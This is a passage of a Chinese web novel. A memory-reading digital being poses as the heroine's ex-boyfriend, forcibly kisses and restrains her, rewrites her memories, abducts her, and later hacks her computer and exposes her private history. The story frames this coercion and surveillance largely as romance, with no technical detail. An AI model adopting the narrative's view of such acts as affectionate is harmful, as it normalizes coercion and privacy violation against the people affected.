“这**又是谁?” 大厅里等候的哨兵们,对这一场景感到焦虑,她表现得像一见钟情,无法移开视线,两人对视,如胶似漆。 她的视线从未这样久地在他们身上停留过。 她不可能和他有过接触,两人初次见面,但表情复杂,让人不解。 怀疑压过了妒火。 从他制服上的编号和肩章来看,应该刚入职不久,一个新 人? “他到底有什么好看的?”阿瑞斯不明白,那样一张普通的脸。 “确实,看不出有什么特别的。”佛尔克赞同道,他担心向导小姐被人骗了,这只是吊桥效应。 当事哨兵气得不行,无关者却把偷偷截图,自行代入,里外对照,觉得自己机会很大。 她缓了好一会儿,但他细声细语地问候时,那张脸靠得太近,看得太清晰,手回忆起轮廓、触感。 太像了,她红了眼眶,拒绝道:“我不太方便,你找别人吧。”快步离开,男人停在原地,望着她远去的背影,犹豫了两秒,抬脚跟上。 鬼一样的前男友,做梦也缠着她,明明是对方把自己甩了,为什么不能忘掉。她在心底唾弃自己。 低头时,泪水就掉在手背上。 “嗬嗬嗬~” 一抬头,男人扮了鬼脸,一副痴傻样,像是故意逗她笑,她如愿地扬起嘴角。 天呐,她扭身不想看他,但男人又凑过来,开始哼歌,旋律重复,歌词简单,像童谣的情歌。 她掐了一把大腿,只觉得这是梦,从哪跑出来的克隆人?侧眼看去,不知道是爱还是恨,男人突然比了个wink,随后笑起来。 如果不是耳朵通红,几乎像是情场老手了,但其实已经黔驴技穷。 “我叫杨所,你好。” 他伸出手,但她手没动,抬头看来,目光流连在眉间,道了声歉,拔腿往外跑。 迎面撞上了一堵结实的人墙,“对不起,”她想从空位出去,一道沉稳男声响起,“这么着急,想去哪里?” 澄澈的绿眸熠熠发光,脸上没有表情,见她眼红,才蹲下来,两人平齐,眉毛皱起,略显担忧。 男人脱下手套,擦拭眼尾,“谁欺负你了?” 她没说话,头靠在肩膀上,整个人被臂膀圈住,缩进男人怀里。 曼努埃尔用手掌安抚她的头顶,“发生什么事了?和我说说。” 他没忽略另一侧的男人,那人一直旁观,转身将她抱起,用后背挡住视线,往里走。 女人的脸完全藏于肩膀下,只露出毛茸茸的头顶。 回到房间,男人蹲下递水,“我现在去处理一点事,马上回来,好吗?”他笨拙地拍了拍她的肩膀,起身走出房间。 哨兵们需要商讨一下,进一步的安排。 散会时,杨所站在最后,准备离开,一只手突然搭在肩上,回头看,果然是这人,做好还击准备,这位可是搏斗冠军。 “小伙子,你是哪个队伍的?” 原来是这件事,杨所流畅地报出队名,男人眯起的眼睛,表明他想了解的远不止这些,他又相继报出个人信息,不惧怀疑。 “好。”男人上下打量他,似乎在衡量他的实力,“你的任务对象是谁?” 杨松报出她的名字,并说已经带到安全位置,对方满意地点头,“有个任务交给你。” 听他说完,他白了一眼,派任务到海边去,那么远,考虑到白天的神情,很难说没有私心。他接下了这个任务,晚上休息后动身。 房间里。 曼努埃尔端来热乎饭菜,眼睛没离开过她,但女人不想倾诉,似乎只希望他离开,两眼放空。 天色变黑,风刮窗帘,她起身准备关窗,一张骷髅头突然窜出来,她吓得说不出话,直往后退,不小心将桌上的摆件挥到地上。 骷髅人一跃进屋,她抓起球棍打去,砸在身上,对方一声不吭,她看清了,这是个人。 一个穿着黑色紧身衣的男人,像是刻意显露身材,他抓住棒子的另一端,摘下骷髅面具。 “是我。”男人笑着撩起上衣,腹肌一片通红。 怎么是他?徐珊珊松手,球棒被男人接住,扶额转圈,“你为什么半夜来这儿?” “我来看你。”男人随手将球棒归位,本来不该来,不知怎么走到这里的。 细微的响动引起门外哨兵的注意,指关节叩击房门,“珊珊向导?” “没事。” 她知道曼努埃尔守在门口,给她看门,她敢肯定,要是自己喊一声,对方就会冲进来,把他摁在地上一顿胖揍。 杨所比了个嘘声手势,示意不要让他知道,生动的表情,仿佛青春回归。 “咔哒——” 门还是开了,等她反应过来时,男人已经消失不见,取而代之的是曼努埃尔,他的表情余惊未了。 “抱歉。”男人为自己的擅自闯入道歉,但这儿的味道不该这么杂乱。 她坐在床边,感受到脚踝处有股气流在吹,袜子摩擦肌肤,有点痒地交叉,踩到一块柔软的地方,惊得抬起,担心踩到别人脸了。 男人的目光扫过屋内,墙边几点泥土,目光望桌面,神色一暗,那儿多了些东西。房间里有不该存在的人。 曼努埃尔:“我们可以互相坦白,对吗?” 她想起自己才刚说过的话,承诺过会包容对方,但自己的小秘密,她屏气回答:“当然。” “有什么想和我说的吗?” 她有些良心发现了,“我……”风狂吹,一下子将打在窗户上,哐当一声撞墙,把后半句话憋了回去。 “没有。” 曼努埃尔:“我相信你。”他语气坚定,仿佛没有丝毫怀疑。 男人走近床,她的心提起来,连忙起身挡住,都没顾得上穿鞋,“怎么了?” 他道床垫歪了,她推开他,说自己一会儿铺。见她拒绝,曼努埃尔放弃了,他再问,是否可以住进来,打地铺。 万一有什么事,响应更及时,仍然被拒绝。 “我困了。” “……晚安。” 男人终于离开了,门合上,脚步声走远。 她放松下来,踢向床板,“出来。” 床尾被抬起,男人从底下钻出,拍打身上的灰,她看不过,递过去一张湿巾。 他跟前任不同,至少对方不会夜翻少女窗,跟个强盗一样。 杨所不以为意,某条狗守着门,他只好改翻窗户了。 她接过那个骷髅头面具,打量后,套在头上,有点挡视野,但很有趣。 “吓到你了吗?我以为你会喜欢。” 她确实喜欢,但不代表着,不会害怕,不过……他怎么知道? “你会读心?”她质疑道。 杨所:“不,我只是单纯喜欢,没想到我们喜好相似。” “……”巧合得有点怪异了。 女人房间里的灯始终亮着,他看见两个黑影,最终融在一起,曼努埃尔一个人站在墙头,月亮被乌云笼罩像牛角。 第64章 房间内,柔和的灯光打在男人脸上。 “抱一下。” 他就这样直白地提要求,她迟疑了,那张没有被工作染上疲惫的脸,她告诉自己,最后一次。 她走过去,两人贴在一起,手伸到蝴蝶骨处,男人抬手时,感受到皮下骨头的转动。 杨所:“我有个秘密要告诉你。” 男人曲腿蹲下,贴在耳边,气流吹拂耳坠,“家伙,我爱你。” 这话吓到她了,试图推开,但无济于事,他怎么会知道?这个称谓。 “你是谁?”她质疑道,身体往后靠,却被搂得更加贴近,男人笑道。 “我是你的男朋友,你不记得我了吗?” 杨所的通讯器又滴滴响,他皱眉抬起,接听,更改了指令,蛮不在意地挂断电话,将它损坏。 他改变主意了,“我们私奔吧。” “我没有男朋友,”她确认此人有病,居心叵测,冷脸说:“我们已经分手很久了。” “现在,立刻离开。” 大拇指合上双唇,堵住她接下来的话,那张脸越贴越近,她厌恶地避开,但男人不介意,强硬地吻上来。 津液搅动,她闻到危险的味道,手推不开,就往裤兜里去找通讯器,就算长着这张脸,做这种事,只好请他去坐牢。 手往下伸,却被按住,五指交叉伸入,放到男人大腿上。 纯变态啊,她有些欲 哭无泪,嘴里唔唔发声,却被咽下去,两人眼神对视,她不禁求饶,“放,放开我。” 顺从让男人满意,两人空出间隙,她像记忆里一样吻上去,感受面部轮廓,但私下准备唤出精神体。 吻得越发动情,男人愈发沉醉,它也现身,动手,她在心里下命令。 但他似乎跟身后长眼睛一般,张开眼睛,“不乖。” 抱着她轻松躲过第一波撞击,男人掏出一个项圈,卡在脖子上,类似白塔给哨兵佩戴的那种,当那绿灯亮起,她有种完蛋的绝望感。 男人将她抱到床上,锁住手脚。 白塔里怎么还有这种败类,她请求道:“我哪里惹到你了,我道歉。” “我是你的伴侣,对吗?” “对。”她没招了,但还想着拖延时间,这里有很多人,他不可能众目睽睽之下,带她离开。 “叫我。” “杨所。”但对方并不满意,让她换一个。 “杨所哥。”男人持续摇头,他到底想要什么? “男朋友、亲爱的、老公……” 不知道其中的哪个取悦到他,低下头亲了一口,贱人,她在心底暗骂,脖子和脸都气得通红,喘气很快,胸口剧烈起伏。 男人喜欢看她这幅样子,很生动,但得离开之后。他下了决心,要带她走。 “看着我。” 男人的嗓音似乎有某种独特的魔力,她陷了进去,从他的口中,吐露出她的经历,完全一致,甚至包括她忘掉的。 他用了什么办法,读取了她的记忆,怪不得,她挣扎着抗拒,但很快,说不出话了。 下辈子再也不搞替身文学了,在失去意识前,她这样想。 但“杨所”并不这样认为,她的记忆就是他的,从现在起,他就是她的男朋友,他们经历过的一切,都由他继承。 她会爱他如初,正如他所渴望的。 他没想到自己会在短短一天内,被人俘获,沦陷其中,颠倒了身份认同。 女人再睁眼时,已是另一副姿态,依恋的目光,她推开他,娇嗔道:“这是哪儿?我想回家。” “好,我们回家。” 曼努埃尔坐在楼下等,估摸着两人该聊完了,上楼敲门。 她打算起身,手被握住,男友上前,“我来吧。” 他打开门,只留了一个缝,曼努埃尔往里看,她仍坐在那,往室内扫视,似乎太久了,转头问道:“有事吗?” 杨所抵着门,但门外的人仍将它推开,走进去,来到她面前蹲下,瞥见她脸上红润。 曼努埃尔:“也许他该离开,让你好好休息。” 但她并不做声,反而看向一旁的男人,对方走上前接话,“我们在一块,这里不需要你。” 曼努埃尔等了她许久,她只是沉默,良久,兴许是看他还不离开,皱眉道:“有事吗?” “没有,晚安。” 曼努埃尔看了一眼相近的男人,如此冷淡,他都说了什么?送离时,对方给门留了一条缝,他也因此听见从里面传来的女声。 “这个人好烦。” 房门下一秒合上,故意留给他听,他突然觉得头有点痛,抱膝蹲在房门旁,靠在墙边。 为什么?他并不认为那个哨兵可靠、稳重,却令她满意。 这个人明天就要离开了,他这样劝慰自己,很快,室内的灯光关闭,窸窸窣窣的摇晃声,他听得清晰,也就愈发痛苦。 警报响起,周围有污染物围聚,召集人员前去清理。他才起身,做足准备,再次敲门,想要察看屋内安全。 但没有反应,室内静悄悄的,就仿佛没有人存在,她不回应很正常,但另一个哨兵呢? 他越喊越急,从敲门转成拍门,室内无人响应,心一下子落进深渊,他握拳砸向房门,破门而入,绿油油的眼睛在黑夜里发光,这里已经人去楼空。 窗户打开,他们是从那儿走的。 这个该死的绑架犯! 对于两人的行为,屏幕外的人感到格外吃惊,特别是山昊,怎么也想不通,为何一见钟情到不顾危险,随之外出的地步。 这对白塔的管理层来说,简直是恐怖片,质疑接踵而来,全是怀疑他们,是否是轻待了她,或是教育不当。 刚才因短暂的信号不好,而无法听清两人的说话声,但有了解口语的人,解译出两人的相处并不如想象中愉快,这就更令人担心了。特别是,当他们得知,名为杨所的哨兵已经退出系统后。 他根本就不是白塔内部人员。局势失控,把所有人心揪在空中,他可能是改造组织的人,想到此,有些无法冷静,许多人尝试再次躺进全息舱,或是直接接入脑机。 但系统单方面拒绝任何申请,他们无力相助,只能寄希望于,曼努埃尔能够及时察觉,并将她带回。 夜晚车行,两人的手交叉举起,从指缝间露出皎洁的月亮,就像一年前的旅行,也是如此,大巴车,两人并肩坐,车外是圆月。 她莫名的有些惆怅,但很快放下,又看了一眼自己的小男友,“大概多久到?”打了个哈切,有些困了。 “有点远呢。” “你别疲劳驾驶,中途找个服务区休息一下吧。” 她看见窗外有些黑影摇晃,疑惑道:“这树怎么会动?” “有吗?” 男人朝窗外看了一眼,风停下,果然影子不动了,她应该是看错了。 杨所:“家伙,你想去哪?” “回家。” “先去我那里待两天,我再送你回去?” 她数了数假期,还挺长,便同意了,到头闭眼就睡,“不准拉我去跑步。” “没问题。我还学了一手厨艺,你可以享享口福。” 两人就像真正的大学情侣,彼此依偎和打趣。杨所很享受这场角色扮演,但车后灯光闪烁,他明白,有人非要打扰。 他可不想让别人闯入二人世界。 一念之间,污染物生成,像黑云一样涌向后方车辆,挡住去路,哪怕被一路撞到地上,碾成碎片。 接二连三的污染物袭来,曼努埃尔不得不减速,应对它们,离前车的距离便拉远。 它们像潮水一样,前赴后继地叠上来,围了里外三层,砸破玻璃往里跳去,阵阵嘶吼声。 “呃啊~~” 数量之庞大,让人着实捏了一把汗,但山昊相信他能处理好,只是需要时间,作为曾共同作战过的人,他清楚对方的实力。 曼努埃尔最终从尸堆里爬了出来,张嘴露出獠牙,抹开头上流下的血,将前面挡路的尸体搬开,尝试重新启动汽车引擎。 他会抓住他的。 次日,她一觉醒来,天亮了,两人还在路上,不由得担心,“等等,先停车。” “怎么了,家伙?” “上厕所,”她没好气道,“怎么不走高速?”这又是哪里的土路。 “要不再忍忍,很快就到了。” “停车,我憋不住了。” “好好,我马上停车。” 汽车逐渐降速,往路边靠,男人在后方放了警示牌。她找了个草堆边解决,但远远的看见泥滩里有人,那似乎是双手,忙提起裤子。 来到男友身边,抓住手臂,紧张地问:“你看,那是什么?” “是人吗?” 杨所眯起眼睛,“是的,走吧。” 走什么走,她用力拍了一下他的手臂,让他别动,回到车上翻找绳索,男人有些疑惑地看过来。 “救人啊。” “我们要赶路。”男人拒绝,他不觉得她们的生死与他何干,却迎来她怀疑的目光,一转思路, “亲我一下,就答应你。” 有病一样,她翻了个白眼,还亲他,爱来不来,自己往前走。 男人见状,也跟了上去,别人无所谓,她不行。 第65章 这是一片棕色流沙,她们的腰已经陷了进去,虽然没有继续下落,也出不来,时间久了,逐渐缺水、体力不支。 三人绝望地挣扎,看他们来了,高声呼救。 徐珊珊:“别急!” 她和杨所一起,费了一番功夫,将三人拉出来,用水擦净后,带回车边。 几人修整后,杨所修好车,给他们指了一条路,往那个方向去,能遇上搜救人员。 临走前,她突然问:“你是不是那个……徐珊珊?” 自己这么出名了吗? 杨所听了这话,走上前来,插在两人中间,提醒道:“按行动时间,现在去的话,刚好赶得上。” “好,谢谢。” 她感到,他有些急迫地想将她们送走,但却不太明白,为什么。 回到车上,打开导航,发现已经开出去很远,照时速五十公里算的话,开了一整夜。 “你是不是没睡觉?” 男人摸了摸鼻子,他不困,“晚上歇过一小时,很精神。” 真不行吧,她可不想两人死在路上,英年早逝,她将车开到树荫下,招手让他过来,“先休息一会儿。” 男人犹豫了,但转念一想,这也是二人世界,遂同意了,他个子高,就打发去后座睡,手脚蜷缩在一块,还有点可怜。 说是不困,但他很快睡着了,手垂下,传来均匀的呼吸声。 她打开了车载广播,调到小声,更换频道,终于有了人声,播报道:有个逃犯,挟持了人质,如果有人看见,请提供线索。 主持人在念车牌,她听了开头,信号却突然中断了,无奈将它关闭。她又没坐大巴,跟对象一块,应该遇不上通缉犯。 在傍晚,他们最终抵达了目的地,街道上行人稀少,汽车倒入停车位,两人上楼,进屋。 屏幕外的人很焦急,但他们并不清楚,里面发生了什么,自从两人跨入这栋楼,再无任何影像,但曼努埃尔一路过关斩将,已在路上。 他们希望他能再快一点,却也明白,在污染物密度这么大的危险区搜寻,他已经尽力了。 门口放着一块全身镜,她对着看了一眼,发现自己穿得跟特种兵一样,有些好笑,伸手将外套脱开。 杨所:“晚上想吃什么?” “去外面吃?”她想偷个懒,而男人很清楚她的脾气,“没事,你休息就行。” 徐珊珊瘫倒沙发,看向“超人”先生,“下碗面吃吧。” 男人走进厨房,翻开冰箱看,空无一物,决定出门买菜,“待会可以先洗个澡。” 她答应了,打开电视机,男人开门离开,很快,提着菜回来,穿上围裙,开始下厨。 她笑看他穿着自己买的碎花围裙,走过去,从后方伸手抱住男人,“你好贤惠我好爱。” 男人笑出声,打发她去一边等着,饭后,又抱在一块看电视,一部悬疑片。惊悚画面一亮,她惊得抬起男人宽大的手,挡在面前。 两人洗漱,亲吻,倒在沙发上。 但进一步的动作被人打断了,门铃响起,她的兴致消去,推开他,起身往卧室去,内置书房,书架上,还摆着两人合照。 她坐下,抽出书架上的日记,他承诺过,所有的都可以看,她也如此,打开翻看,但全是空白。 怎么会是空白页? 她有些疑惑,这里明明该是……她记得他的字迹,房门被推开,她放下手,将本子合上,抬眼看去,“谁啊?” “维修师傅走错了。” 两人执手走进卧室,而客厅门外,一墙之隔,正在上演刺激战场,但这声音被完全隔绝。 两人共绘的油画,摆在床对面的衣柜中央。她拉拢飘窗上的窗帘,开始脱外套,一转头,发现男人看直了眼,两人眼神接触,他才迅速地侧过脸。 她缩进被子里,有些烦闷道:“你家里面是不是不喜欢我,”她真的很担心这个。 男人两手交叉,从后背脱下上衣,裸着背爬上床,靠在她身边说:“怎么会呢?他们都很喜欢你,上次……” 他说了一会儿,忍不住,亲了一口,她又再度发问,就接着解释。 “杨所”发现自己有点迷上了这个繁琐、平凡的日常,如果她能一直这样该多好,如果真是他该有多好。 “别亲了,一脸的口水,我受不了了。” “家伙,我都舍不得放你走了。” 尽说胡话,她踹向男人的大腿,自己又往床边挪了一点,但客厅又传来声响,她紧张地捏紧被子,靠向男友宽阔的胸膛,想起电台播报。 该不会是通缉犯吧?她抬头问:“要不要报警?” 男人揭开被子,穿上鞋往外走,她牵住他的手,“等等,我跟你一块去。”要是真的发生什么,不能让他一个人。 两人来到客厅,果不其然,有人破门而入,她脸色一变,怎么是他?男人松开她的手,走上前。 曼努埃尔:“放开她。” 不知道他下了什么迷魂药,疯子,竟带她往危险区跑。更怪的是,这里却很和谐,仿佛世外桃源。 杨所:“你闯进我们的家,想做什么?” “对,你别过来。” 曼努埃尔看着她,想释放信号,让她安心,尽管已经疲惫不堪,却只看见戒备的眼神。 她态度强硬,目光里是掩饰不住的恐惧和厌弃,“我已经报警了,警察马上来。” 但看见他腰间配枪时,还是不由得提了一口气,可不敢赌他的枪里没有子弹。 真就这么倒霉? 她倒吸了一口凉气,这个蒙面男人,眉眼那么俊,干的是杀人放火的活。一抬眼,和那双绿眼睛对视,马上转移视线。 “向导小姐。” 她的面部表情惊愕,他在喊谁? 随着一声声呼唤,她的呼吸变急促,有些难受,仰头说不出话,手抓不住,倒向墙壁,一路滑落。 两人都紧张地扑来。 “时间还没到。”杨所看她小脸煞白,有些紧张,不该是现在,应该是被影响了。 他面临一个抉择,可以把她留下来,禁锢在这个虚拟的世界里,永远陪着他。 女人眯着眼,汗珠从额头上滴落,他低头吻了一下,她一下子舒缓过来,大口喘气。 杨所:“家伙,下次见。” 男人欲起身离开,她却一下子伸手,紧紧抓住他的手腕,拖着放到胸口,眼眶通红,泪水流下,“你又要走,是不是?” “为了什么?因为你家里面,你有更好的选择了,是不是?” 泪水模糊了双眼,她觉得很痛,胸口像被车碾过一样,震荡回响,直到许多记忆重新进入脑中,她才逐渐意识到,面前的这人,并不是她的男友,两人早已分手。 他是敌人,是盗贼,而旁边那位,浑身是伤的人,才是赶来救她的人。她完全颠倒了黑白,他从头到尾骗自己,“你不是他。”她明白了,那个人已经做出了决定,要迎接新的生活。 “你不是他。” “家伙别哭。” 她一把推开男人的手,吼道:“滚开,骗子!”拖着身体往前爬,被人接住,扶起来,两人重新成为对立面。 她不明白为何男人总爱说谎。 室外轰鸣,“杨所”知道,这个空间要崩塌了,他注视着她,艰难道别:“再见。” 男人的身体化成碎片,消失不见,而整个空间逐步消解,一封邮件早发给白塔高层,让他们停下,承诺所有人都会平安归来,发信人——“幽灵” 新的状况传来,交货时间再拖延,邮件上的倒计时归零,一直在叫嚣的对接人,忽然哑口,再做不出实质性攻击。 这个发送邮件的人是关键。 她睁眼,面朝透明的全息舱,按下按钮,开盖起身,扫视室内。门口那小小的可视窗上,挤来不同人,不时更换一张脸,挤在玻璃上。 她伸手挥舞,向他们问好,不久后,房门权限打开,众人冲了进来,一下子将她围住,抱住。 “没事,我没事,别担心。” 曼努埃尔赶来时,看到的就是这一幕,围了里外三层,密不透风,但只要听到她的声音,知道她没事就足够了。 没想到,她反而从夹缝中看见了他,拨开众人,喊出他的名字:“曼努埃尔~” “别走,”她说,“过来一下,好吗?” 人们分开一 条道,男人走近,蹲在她面前。 想到在里面,他受过的伤,会影响现实身体,忍不住怜惜和愧疚,“……抱歉。” “等你好了,我们找个时间,聚一聚,好吗?” 他同意了,并被传唤走,因为屋内景象是被屏蔽了,作为当事人,他需要陈述一下当时情况。 他隐藏了有关她的部分隐私,将多数事实说出。 但他们并不是一无所获,几张截图被摆在桌前,上面赫然是那个男人,他偶然露出的,大臂上的印记。 这是改造组织的印记,这个罪恶的组织,他盯着那张照片,久久不能释怀。 “他是这个组织的一员。” 曼努埃尔立刻意识到什么,辩解道:“她和他们无关,是他个人绑架。” “当然,”问话的人说,“放轻松,没人会责怪她,你只需要告诉我们你知道的。” 第66章 这场混乱没有铸成严重、无可挽回的后果,但为了保证参与者的健康,在事后,每人都进行了检查和谈话。 因为她进入“扭曲”的空间,所以需要额外观察。某些哨兵,两眼一睁就是盯梢,她看过去时,头又不经意侧开。 她无奈地摊手,靠在枕头上,继续看书。那人似乎是个黑客,她暂与电子产品绝缘。 嘈杂声从窗户传来,有人在争论,她起床围观。 这扇窗户被半封,向下看不清人脸,双方争执,但没有扩大。 阿瑞斯察觉到视线,抬头看来,在她还没看清时,发现了她,比了个心。 她远离窗户,不做回应。 轿车倒入停车位,门开人出,山昊见状,皱眉走近,不该阻挠纠察队办事。 从每人脸上扫过,看到杨所时,挑起了眉。相同的名字和相似的脸,他来这的目的是什么? 道歉,解释,对口供?他不该来,只会扰乱人心,众人也拒绝让他进入。 山昊仔回忆起两人相处的方式,结合队内描述,他来自底层家庭,训练时很能吃苦,性格要强。 两人分开已久,却还能有这样的影响力。 “走吧,但她是否愿意见你,由她自己决定。” 众人惊讶地望向说话人,山昊力排众议,将他带进大厅。 他的想法不同,因为从陈述中,并不是二人相爱,但因外力被迫分开,更像是单方面分手。 他不珍惜,但也给了他们机会,这是一个空,越撬越大。 她会明白,他只是一个普通男人,还会有更多,只要她愿意抬眼看,多少人跪倒在裙下。 …… “咚咚咚——” 卡尔拉开房门一角,看清来人后,向她通告知来人,该来的终于来了。 她有些紧张,但南希微笑着眨了眨眼,“亲爱的,放轻松。” 她走出去,守在门外,见到鼓气的堂弟,脸上表情不善,这就吃醋了,“大度点~” 旁人被支开,室内仅剩两人,接下来是问话,她一开始紧张,但到后来就放松了。 对话结束,山昊起身送调查员离开。 但他没有离开,她茫然道:“有事吗?” “有人来找你。” “让他进来呀。” 一个人蹲在这儿,也有些无聊,他们会给她带些玩具和图书,聊天解闷。 “你考虑一下,想不想见。” 山昊说出他的名字,与来访意图,她听了后,愣神道:“真的有这个人吗?” 虽然这事跟他没关系,但也会受牵连,跟他说清楚是个好主意,别让人陷入舆论。 “你让他进来吧,等等,我换个衣服。” 和他见面,需要换衣服吗?他看她在衣柜里来回翻找,手捏紧了床尾横栏,“你这身就很好。” “你不明白,”她从柜子里掏出一条蓝色连衣裙,拎在手里,似有怀念,“这是对别人的重视。” 她拉开长帘,很快,外套落地脚面,女人抬起一只脚,接着是另一只,抬手时扰动帘子,“不是不重视你们的意思。” 怕他误会,她一边拉扯裙摆,一边解释:“我们很熟,就没必要换了。” 这就好。结束后,山昊开门招呼外面的人进来 “你好,”她坐在一张椅子上,对面也有一张,伸手示意,“过来坐吧。” 门外的人很焦虑,兴许是心理阴影,连窗户也有人守着,确实盯着他,插翅难飞。 几日反省后,再看到这张脸,她已经释然了,接受不同,接受爱情消散。 “家里面给我取这个名字,是希望我以后能当个所长。” “哈哈~”她被逗乐了,“想做一名警察吗?” 男人点了点头,两人的距离拉进些,开始谈论那场意外。 徐珊珊:“抱歉,我的行为冒犯到你,如果需要,我会配合澄清。” 杨所摇头,他不在意。在交谈过程中,她逐渐明白,二人区别很大。 时间流逝,到了该告别的时候,男人说,希望给他一个弥补遗憾的机会。 她婉拒了,再次道谢后,请人离开。 他的失落让旁人安心,卡尔进门时,手中拿着一封信件,她一眼了然,伸手接过来,这是阿瑞斯的道歉信。 她拒绝与他见面。 她拆开信纸,一字一句的读,今天改变了写法,留下一首怨夫诗,采用了夸张的修辞手法,把时间描述得特别漫长,度日如年。 她的脸上带着笑意,问他说:“他给你道过歉了吗?” 这是一个关键问题,卡尔摇头否认。 “那就让他离开。” 房门再度打开,男人的手指间夹着信封,它并没有被收下,而是丢进垃圾桶。 因为视角不同,他没想清生气的原因,但被拒绝的挫败让他灵光一现,决定找军师。 几日后,限制解除,她回到塔内,新装修的办公室已列好,又新又大,墙上挂着许多束缚器,还以为是审讯室,是防止异常哨兵突然攻击人。 宿舍如旧,明日要上班了,她点开电脑,打算上网刷资讯,正常开机。 右下角弹出一个视频邀请,光标移动到绿色按钮,但她没登通讯软件,皱眉怀疑,这是谁打过来的? 她移动鼠标到红色的拒绝按钮,尝试了几次,没效果,也许是网页广告,可她没进小网站,也没有乱安装软件。 更像是中病毒了,正打算关机,屏幕突然自行闪烁,画面更改,视频拨通,视角是男人在厨房做饭。 又是前任,她有点脱敏了,这应该是欺骗自己的人。 人不能两次掉进一个陷阱里,这招太老了,她面无表情地按下关机键,没反应,应该被对方控制了信号,没有关系,她还有一招。 不顾男人的手舞足蹈,蜜语没有让她止步,径直走向门边,拉下电闸,整间房都清净了。 黑暗里,她拨通卡尔的电话,“我电脑中病毒了。” “嗯,有点严重,你找人来看一下,感觉是黑客入侵。” 卡尔:“你别挂断电话,好吗?让我听见你的声音。” “不,”她拒绝道,男人加快了脚步,担心她再受蛊惑。 徐珊珊:“打视频,你记得录屏。” 她一阵深呼吸,再次打开电闸,走到电脑桌前,开机界面后,视频邀请再次显现,她用胶带堵上摄像头,点下接听。 “不要扮成他的脸。”她有点烦躁,“你自己没有脸吗?” 屏幕里的男人消失,只留下空荡的厨房,不一会儿,另一个人从右边入镜,从左边入镜,变化多端,让人眼花缭乱。 “你喜欢哪张脸?”他都可以变,毕竟是数字生命。 “……” 她决定逗逗他,“橄榄球僵尸。”不一会儿,一个肩膀高耸,穿着红色球衣,头戴头盔,皮肤青黑,眼睛大但只有一点瞳孔的生物走了出来,对方摸头疑惑道:“是这样吗,你喜欢这个?” 我的天呐,她有些惊讶,想到现代AI的快速发展,有朝一日和AI打视频。 “我想见你,开摄像头,好吗?” 徐珊珊看向放置再一旁的光脑,卡尔召集了人,还在赶来的路上,她对着麦克风说:“不行。” “你修改我的记忆,欺骗我,强吻我,这是犯罪。” 里面传来一阵沉默,僵尸低着头,在认真思考,但她无法从那双豆豆眼看出想法,不一会儿,对方似乎有了好主意,食指举起说:“我喜欢犯罪。”??? “你说实话,你是个什么东西。”她对这伪人发言感到无语。 “我从前是人。” “你是哨兵吗?” 对方点头,她再问,“你汲取了我的记忆,知道了我的所有过去,对吗?”仍然点头。 她摇头说:“换成你本来的样子,以前是人的时候。” 橄榄球僵尸往左边跑走,又从右边入镜,这回是一个正常男人了,年轻帅哥。 “你一定要转场,才能改变形态吗?” “不是。”他只觉得突然变化,她会觉得突兀,所以加了个过场动画,后面的背景开始变化,无论是教室、办公室、公园还是沙滩,都十分逼真,光影和动态变化,肉眼分不出真假。 徐珊珊:“我小时候,十二岁,初中,还要家里面的其他人。” 男人点头,他忽然消失了,破旧的砖房里,晚上一家人聚餐,她的爷爷奶奶、爸爸妈妈……还有青春期的自己。 他掐断了画面,她的情绪似乎有些低落,开始播放她成长过程中的点滴,包括幼儿时被放在红色大脸盆里洗澡。 没想到突然来这一下,她一下子挡住摄像头。这么久远的记忆都有,突然就红了脸,指责道:“你这人,怎么随便翻看别人脑子?” “我警告你,不准说出去,也不准放给别人看。” “是,老婆!” “谁是你老婆?!” 屏幕上开始弹出由小到大,五颜六色的爱心,很土。 徐珊珊:“你叫什么名字?” “杨所。” “停止模仿他,好吗?你不可能叫这个,说实话。” “我只有编号,没有名字。”男人露出委屈神情,头上两边显露猫耳,女人不为所动,“停止使用特效,还有乱七八糟的。” “你能给我取个名字吗?” 她没想好,光脑突然震动起来,转身回看,卡尔对着镜头说:“不要答应他。”他马上就到了,但通讯很快被切断,电脑里传出低沉而危险的男声,“你在和别人聊天。” 她直接承认了,“你是那个发信人吗?” “幽灵?” “那只是我的代号。” “那我以后就这样叫你了,幽灵对吧,来去无踪。” 男人点头笑道:“以后我就叫这个。” “谢谢你,我爱你。” “别乱说话,”她反驳道,“你甚至没有实体,只是流浪在虚拟世界的……” 话音刚落,她觉得自己说重了,又想起对方曾经的所作所为,愧疚感又消失。 “我传入到机器人身上,就有实体了。到时候我们就可以见面,一起吃饭,拥抱,接吻……” 以他曾经的所作所为,要是被封入实体,肯定会被挫骨扬灰吧,她不由得提醒,“流落到机器人身上,会被消灭的。” “幸福的死好过悲惨的永生。” 典型的恋爱脑发言,她开始相信,他以前是哨兵了,这位一看就是接受过传统的塔式教育。 似乎是知道她的打算,他请求道:“给我个机会,我能帮上你的忙。” “什么忙?” “任何事。” 让她想起,自己曾经的经历,那队的人似乎有些呆,表达好感的方式,是固定一小时给她递一杯水,一开始她不明白,为何如此,以为是什么习俗,就喝了。 到后来,每次去都是如此,她频繁上厕所,扛不住就问他们,才知道这是担心自己渴,脱水,十分机械。 她接通重播电话,不打算回应他,这家伙绝不是未经人事的小白花,骗人可是得心应手,顺手拈来。 但既然他这么说,她也想探探消息,“你和改造组织是一伙的吗?” 先是一个绿勾,然后是一个红叉。 “曾经是,现在闹掰了,对吧?”对方点头。 “如果我说,我想要消灭他们呢?你愿意帮我这个忙吗?” 她看男人陷入沉思,以为他在挣扎,想给对方上点砝码,男人很快抬头,“我愿意。” 幽灵:“你愿意了吗?我还可以为你做其他事。” 屏幕上突然显现一个穿着警服的男人,盯着摄像头,引诱地脱下外套、背心…… 幽灵在一旁分析,“根据我的分析,你似乎是制服控,看过八百多遍这条视频。” 想到卡尔还在看,她连忙用手挡,“我求你别再说了。”再说她底裤都没了,天呐,这个人,必须死! 更糟糕的是另一个男声从后方传来,卡尔说:“要是你喜欢,我也能穿给你看。” 幽灵:“她喜欢什么样的,我就是什么样。” “不,谢谢,不。”真来了一条肚子里的蛔虫该怎么办? 第67章 卡尔与网警抵达后,将这台主机处理了,没想到他能渗透内网,精准找到她的IP,他是高手。 她眼睁睁看着电脑离开自己。 此人说自己藏身于网络,那世界在他的眼里,到底是二进制数字,还是像人眼成像? “你还好吗?” 人走后,卡尔走上前检查,不想犯和曼努埃尔一样的错误,因为粗心,让对方有机可乘,女人手感微热。 “我没事。” 她想起刚泄露的个人xp,害羞地松手,靠在鞋柜上,看对方仍然严肃,知道他担心自己。 徐珊珊:“那你留下来吧,晚上守着我。” 男人突然爆红了脸,低着头,忐忑地问:“可以吗?” 当然没问题,于情于理,他都有资格在这。 